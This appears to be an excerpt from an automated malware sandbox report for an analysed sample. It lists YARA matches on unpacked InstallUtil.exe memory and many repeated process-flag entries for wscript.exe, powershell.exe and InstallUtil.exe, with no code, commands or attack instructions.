Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD348000BD pushad ; iretd		5_2_00007FFD348000C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD34804FF3 push eax; retf		5_2_00007FFD34804FE9

Boot Survival

Source: Yara match	File source: 13.2.InstallUtil.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.InstallUtil.exe.406d60.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.3420074750.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3427696368.0000000002EA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6284, type: MEMORYSTR

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
